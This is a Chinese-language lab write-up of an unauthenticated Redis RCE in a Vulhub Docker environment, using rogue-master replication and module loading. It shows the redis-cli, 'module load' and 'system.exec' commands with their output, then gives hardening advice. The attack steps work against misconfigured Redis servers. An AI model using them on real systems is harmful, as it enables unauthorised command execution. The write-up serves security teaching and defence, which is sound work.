漏洞基本信息

项目 内容
漏洞名称 Redis 未授权访问致远程代码执行 (RCE)
漏洞原理 主从复制 (Master-Slave Replication) & 模块加载
危险等级 Critical
受影响版本 Redis 4.x / 5.x 部分版本
测试环境 Kali Linux (Vulhub / Docker)
靶场目录 ~/Desktop/vulhub/redis/4-unacc

漏洞成因分析

Redis 默认配置下如果未开启 requirepass(认证密码)并绑定在 0.0.0.0,攻击者可直接远程连入数据库。

  1. 未授权进入:攻击者利用 6379 端口的未授权访问特性直接操控数据库。
  2. 主从同步利用:这是 RCE 的关键。攻击者通过伪造一个恶意的 Master 节点,利用 Redis 的 SLAVEOF 指令诱导受害节点进行全量同步。
  3. 恶意模块传输:在同步过程中,攻击者会将一个编译好的恶意动态链接库(.so 文件)作为“同步数据”发送给受害节点。
  4. 指令触发:受害节点接收到该文件并保存后,攻击者通过 MODULE LOAD 指令将其加载进内存,从而在 Redis 内部扩展出执行系统命令的新功能。

渗透测试过程 (Exploit)

免责声明: 本实验仅用于安全教学与授权渗透测试,严禁用于任何非法用途。

1. 探测与指纹识别

利用 redis-cli 连入目标,确认是否存在未授权访问,并获取版本信息以判断是否支持 Module 特性。

1
2
3
4
5
6
# 连接目标 Redis
redis-cli -h 127.0.0.1

# 查看服务器信息
127.0.0.1:6379> info
# 关键指纹确认:redis_version:4.0.14

尝试使用 redis-rogue-server 工具进行主从复制攻击。遇到的困难:在 Docker 环境下,容器与宿主机存在网络隔离,导致 Setting dbfilename 后同步卡死。技术分析:容器无法主动连接回宿主机的 127.0.0.1 端口下载恶意插件。

2. 手工注入恶意模块

为了绕过网络环境限制,改用 “本地注入” 方案:

文件落地:将恶意插件 exp.so 强行拷贝至目标容器内部。

1
docker cp exp.so 4-unacc-redis-1:/tmp/exp.so

模块加载:在 Redis 终端执行加载指令。

1
2
3
127.0.0.1:6379> module load /tmp/exp.so
127.0.0.1:6379> module list
# 返回结果包含 "system" 模块,说明加载成功

3. RCE 执行

利用已加载的 system 模块提供的接口,执行系统级指令:

1
2
3
4
127.0.0.1:6379> system.exec "id"
# 输出结果:"uid=999(redis) gid=999(redis) groups=999(redis)\n"
127.0.0.1:6379> system.exec "whoami"
# 输出结果:"redis\n"

至此,已成功获取目标服务器的系统权限。

4. 深度防御建议

认证强化:在 redis.conf 中配置 requirepass 设置复杂的强密码。
网络隔离:修改 bind 配置,仅允许可信 IP 访问,或绑定在 127.0.0.1
权限最小化:严禁以 root 权限运行 Redis 服务(本次实验中 Redis 已降权至 redis 用户运行,有效防止了攻击者直接获取 Root 权限)。
指令屏蔽:使用 rename-commandMODULESLAVEOFCONFIG 等高危命令重命名。